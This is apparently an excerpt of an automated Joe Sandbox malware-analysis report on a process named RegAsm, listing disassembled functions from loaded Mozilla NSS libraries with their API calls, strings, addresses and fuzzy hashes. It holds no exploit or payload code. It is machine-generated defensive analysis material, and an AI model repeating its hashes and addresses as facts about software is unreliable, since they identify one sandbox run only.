Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 57db786014e4880e0235e3508ae2741a6c5dc31aff819740e37b872e0e7af81f
Instruction ID: a14af5c0c164b16a72f19880e9f912e62702a42c42ee453f59d3305a14b00912
Opcode Fuzzy Hash: 57db786014e4880e0235e3508ae2741a6c5dc31aff819740e37b872e0e7af81f
Instruction Fuzzy Hash: E651E3B3E00215AFEB10AF68CC849BAB7B9EF45754F144168E818AB310E735ED4687F1

Function 6C00CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C00CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C00CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C00CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C00CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C00CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C00CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C00CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C00CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C00CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C00CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C00CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C00CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C00CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C00D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C00D021

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 1fd6a2151d2b551aa72cd41c30725f7c80b22a4798ac773f5c0cc6a88885454d
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 0E312171B62A1027FF0D509A6D21BDE14CA4B6631EF450038F90AF67C1F6C9AB1702A9

Function 6C01EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C01EE0B

Part of subcall function 6C030BE0: malloc.MOZGLUE(6C028D2D,?,00000000,?), ref: 6C030BF8
Part of subcall function 6C030BE0: TlsGetValue.KERNEL32(6C028D2D,?,00000000,?), ref: 6C030C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C01EEE1

Part of subcall function 6C011D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C011D7E
Part of subcall function 6C011D50: EnterCriticalSection.KERNEL32(?), ref: 6C011D8E
Part of subcall function 6C011D50: PR_Unlock.NSS3(?), ref: 6C011DD3

TlsGetValue.KERNEL32 ref: 6C01EE51
EnterCriticalSection.KERNEL32(?), ref: 6C01EE65
PR_Unlock.NSS3(?), ref: 6C01EEA2
free.MOZGLUE(?), ref: 6C01EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C01EED0
PR_Unlock.NSS3(?), ref: 6C01EF48
free.MOZGLUE(?), ref: 6C01EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C01EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C01EFA4
free.MOZGLUE(?), ref: 6C01EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C01F055
free.MOZGLUE(?), ref: 6C01F060

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 82db0cec95653770570f8c105ce033a9502fb241222c30bda512718864e4fedf
Instruction ID: 5d9dd8b1b46fde2a8f88577770020bde168b9abe00c7a253bda9866f689cbe19
Opcode Fuzzy Hash: 82db0cec95653770570f8c105ce033a9502fb241222c30bda512718864e4fedf
Instruction Fuzzy Hash: 9D8161B5A04205ABDF009FA5DC45BDEBBF5BF08318F544028ED19A3B11E735E964CBA1

Function 6C0E4960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6C0E8061,?,?,?,?), ref: 6C0E497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6C0E499E
GetLastError.KERNEL32(?,?,6C0E8061,?,?,?,?), ref: 6C0E49AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6C0E8061,?,?,?,?), ref: 6C0E49C2

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6C0E8061,?,?,?,?), ref: 6C0E49D6
CreateSemaphoreA.KERNEL32(00000000,6C0E8061,7FFFFFFF,?), ref: 6C0E4A19
GetLastError.KERNEL32(?,?,?,?,6C0E8061,?,?,?,?), ref: 6C0E4A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6C0E8061,?,?,?,?), ref: 6C0E4A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6C0E8061,?,?,?,?), ref: 6C0E4A52
GetLastError.KERNEL32(?,?,?,?,6C0E8061,?,?,?,?), ref: 6C0E4A5A
free.MOZGLUE(00000000,?,?,?,?,?,6C0E8061,?,?,?,?), ref: 6C0E4A6A
CreateSemaphoreA.KERNEL32(?,6C0E8061,7FFFFFFF,?), ref: 6C0E4A9A
free.MOZGLUE(?,?,?,?,?,6C0E8061,?,?,?,?), ref: 6C0E4AAE
free.MOZGLUE(?,?,?,?,?,6C0E8061,?,?,?,?), ref: 6C0E4AC2

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 8eea811845101d7336197badc7f81bc6c41db229620f1e6723fdc828353a591d
Instruction ID: 9e8ce3c93989b8717ca6558ac688a00220caf4ea3b46e5fe5bd2b51fcb746f2d
Opcode Fuzzy Hash: 8eea811845101d7336197badc7f81bc6c41db229620f1e6723fdc828353a591d
Instruction Fuzzy Hash: 5541C378B40215BFEB10AFF89C49B8E77F8AF4A359F140124EA19A7740EB34D9148765

Function 6C0EC8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6C0EC8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C0EC8DA
malloc.MOZGLUE(00000001), ref: 6C0EC8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C0EC8F8
PR_NewLock.NSS3 ref: 6C0EC909
PR_NewCondVar.NSS3(00000000), ref: 6C0EC918
PR_NewCondVar.NSS3(00000000), ref: 6C0EC92A

Part of subcall function 6BFC0F00: PR_GetPageSize.NSS3(6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F1B
Part of subcall function 6BFC0F00: PR_NewLogModule.NSS3(clock,6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F25

free.MOZGLUE(00000000), ref: 6C0EC947

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 86edd045196caf53e9513919eb736373e426c38653b93df49bfdc0531adf5305
Instruction ID: 3f8a8fe2e700d63ae56ff9842213a189f3e84d46def7e0d1a8c7c5d1672b2c8c
Opcode Fuzzy Hash: 86edd045196caf53e9513919eb736373e426c38653b93df49bfdc0531adf5305
Instruction Fuzzy Hash: 1C21E8F5A407026FEB10AF799C0975B3AF8AF09258F040538E95AC2740F735E554CBA2

Function 6BFCAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6BFCAF47

Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C0990AB
Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C0990C9
Part of subcall function 6C099090: EnterCriticalSection.KERNEL32 ref: 6C0990E5
Part of subcall function 6C099090: TlsGetValue.KERNEL32 ref: 6C099116
Part of subcall function 6C099090: LeaveCriticalSection.KERNEL32 ref: 6C09913F

FreeLibrary.KERNEL32(?), ref: 6BFCAF6D
free.MOZGLUE(?), ref: 6BFCAFA4
free.MOZGLUE(?), ref: 6BFCAFAA
PR_ExitMonitor.NSS3 ref: 6BFCAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6BFCAFF5
PR_ExitMonitor.NSS3 ref: 6BFCB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6BFCB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6BFCB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6BFCB03C

Strings

Unloaded library %s, xrefs: 6BFCB023
%s decr => %d, xrefs: 6BFCAFF0

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: d6357c03c0be3a9501e90486a980bbbfda3cfd166e99b4dd1f4659f8aab0ed1d
Instruction ID: af95e944e195dbb25aba501cf84554c6d9ac1ea9006ae2d425d89d46017bf127
Opcode Fuzzy Hash: d6357c03c0be3a9501e90486a980bbbfda3cfd166e99b4dd1f4659f8aab0ed1d
Instruction Fuzzy Hash: 3B3126B6B04102ABE611AF64DC40B17B7F4AB0570CB144065E80987221F73AF899E7E3

Function 6C016C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C01781D,00000000,6C00BE2C,?,6C016B1D,?,?,?,?,00000000,00000000,6C01781D), ref: 6C016C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C01781D,?,6C00BE2C,?), ref: 6C016C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C01781D), ref: 6C016C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C016C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C016C96

Part of subcall function 6BFC1240: TlsGetValue.KERNEL32(00000040,?,6BFC116C,NSPR_LOG_MODULES), ref: 6BFC1267
Part of subcall function 6BFC1240: EnterCriticalSection.KERNEL32(?,?,?,6BFC116C,NSPR_LOG_MODULES), ref: 6BFC127C
Part of subcall function 6BFC1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6BFC116C,NSPR_LOG_MODULES), ref: 6BFC1291
Part of subcall function 6BFC1240: PR_Unlock.NSS3(?,?,?,?,6BFC116C,NSPR_LOG_MODULES), ref: 6BFC12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C016CAA

Strings

extern:, xrefs: 6C016C7E
rdb:, xrefs: 6C016C69
dbm, xrefs: 6C016CA4
dbm:, xrefs: 6C016C3A
NSS_DEFAULT_DB_TYPE, xrefs: 6C016C91
sql:, xrefs: 6C016C52

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 3813320b958cfb5e5fc9307d2266a58afe5230b5bfca0d6cd82766d630838788
Instruction ID: bff8333663b1d7a9f096ef4e21297cda6a536839c6c1ea215f9c43e78bf533e8
Opcode Fuzzy Hash: 3813320b958cfb5e5fc9307d2266a58afe5230b5bfca0d6cd82766d630838788
Instruction Fuzzy Hash: FE018FB670A31137FA1026B99C5EF26758CEB4119CF140432FF04E1E81FB9AE62480F6

Function 6C024E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6BFE78F8), ref: 6C024E6D

Part of subcall function 6BFC09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6BFC06A2,00000000,?), ref: 6BFC09F8
Part of subcall function 6BFC09E0: malloc.MOZGLUE(0000001F), ref: 6BFC0A18
Part of subcall function 6BFC09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6BFC0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6BFE78F8), ref: 6C024ED9

Part of subcall function 6C015920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C017703,?,00000000,00000000), ref: 6C015942
Part of subcall function 6C015920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C017703), ref: 6C015954
Part of subcall function 6C015920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C01596A
Part of subcall function 6C015920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C015984
Part of subcall function 6C015920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C015999
Part of subcall function 6C015920: free.MOZGLUE(00000000), ref: 6C0159BA
Part of subcall function 6C015920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C0159D3
Part of subcall function 6C015920: free.MOZGLUE(00000000), ref: 6C0159F5
Part of subcall function 6C015920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C015A0A
Part of subcall function 6C015920: free.MOZGLUE(00000000), ref: 6C015A2E
Part of subcall function 6C015920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C015A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C024EB3

Part of subcall function 6C024820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C024EB8,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C02484C
Part of subcall function 6C024820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C024EB8,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C02486D
Part of subcall function 6C024820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C024EB8,?), ref: 6C024884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C024EC0

Part of subcall function 6C024470: TlsGetValue.KERNEL32(00000000,?,6BFE7296,00000000), ref: 6C024487
Part of subcall function 6C024470: EnterCriticalSection.KERNEL32(?,?,?,6BFE7296,00000000), ref: 6C0244A0
Part of subcall function 6C024470: PR_Unlock.NSS3(?,?,?,?,6BFE7296,00000000), ref: 6C0244BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C024F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C024F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C024F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C024F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C024F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C024F8F
PK11_UpdateSlotAttribute.NSS3(?,6C0FDCB0,00000000), ref: 6C024FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C02501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6BFE78F8), ref: 6C02506B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 6dda15a4ffe40a6c4814998447a7ef008815eb6ea8b88a6e2c08fe5d2f6bb0be
Instruction ID: 157bc9be69b14b889127a1c37f43e2ba05349aa2745d8f51c15d73f4b1b621cc
Opcode Fuzzy Hash: 6dda15a4ffe40a6c4814998447a7ef008815eb6ea8b88a6e2c08fe5d2f6bb0be
Instruction Fuzzy Hash: 1E51C2B6900202ABEB11AF64EC45BAB76F4FF4531CF140635EC0A47A12FB35E5658AD2

Function 6C00ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C00ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C00AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C00AE29

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C00AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C00AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C00AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C00AEA0

Strings

hKey = 0x%x, xrefs: 6C00AE62, 6C00AE72
C_MessageSignInit, xrefs: 6C00ADE1
hSession = 0x%x, xrefs: 6C00AE01, 6C00AE11
(CK_INVALID_HANDLE), xrefs: 6C00AE1F, 6C00AE80

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 7771081809451dd6774d86b2e5a7c8ce2a52c1543eede4a2eaa393c6443b9dd2
Instruction ID: 03775842a7ba8bb82c6b9ffb2900cad73e2e677f24b4f82498779fbb62b62cc1
Opcode Fuzzy Hash: 7771081809451dd6774d86b2e5a7c8ce2a52c1543eede4a2eaa393c6443b9dd2
Instruction Fuzzy Hash: 02311632700244AFEB10DF64DC88FAF37F5AB4670DF454425E80D6B612DB34A949EB92

Function 6C0A4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C0A4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C0A4CFD
sqlite3_value_text16.NSS3(?), ref: 6C0A4D44

Strings

API call with %s database connection pointer, xrefs: 6C0A4CF6
bad parameter or other API misuse, xrefs: 6C0A4D05
no more rows available, xrefs: 6C0A4D2E
another row available, xrefs: 6C0A4D20
abort due to ROLLBACK, xrefs: 6C0A4D27, 6C0A4D33
invalid, xrefs: 6C0A4CF1
unknown error, xrefs: 6C0A4D56
out of memory, xrefs: 6C0A4C78, 6C0A4C9E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 8a6a898dfed1afdf9cafe9c4b01023fc6744e159d758b56109dddfb5c750df66
Instruction ID: e45f22b0e00387502c2021f85764e58bac9aa3800f2a84e38ac7f38d28a9cbe3
Opcode Fuzzy Hash: 8a6a898dfed1afdf9cafe9c4b01023fc6744e159d758b56109dddfb5c750df66
Instruction Fuzzy Hash: 8F31687BB44811B7DB180AE4A8017A973E27B82318F552135D8285BE17CF25FC5383E3

Function 6C002DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C002DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C002E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C002E33

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C002E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C002E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C002E81

Strings

C_InitPIN, xrefs: 6C002DF1
ulPinLen = %d, xrefs: 6C002E7C
pPin = 0x%p, xrefs: 6C002E63
hSession = 0x%x, xrefs: 6C002E0E, 6C002E1E
(CK_INVALID_HANDLE), xrefs: 6C002E2C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 7a07cf692b4cb5b8b6013cee99490a098e2bdc983344e24812696b4c2bc50055
Instruction ID: 8baf362b6991b1c281e1332191d3fb625a97f3ef4bdbc42da34d4e7226ee567a
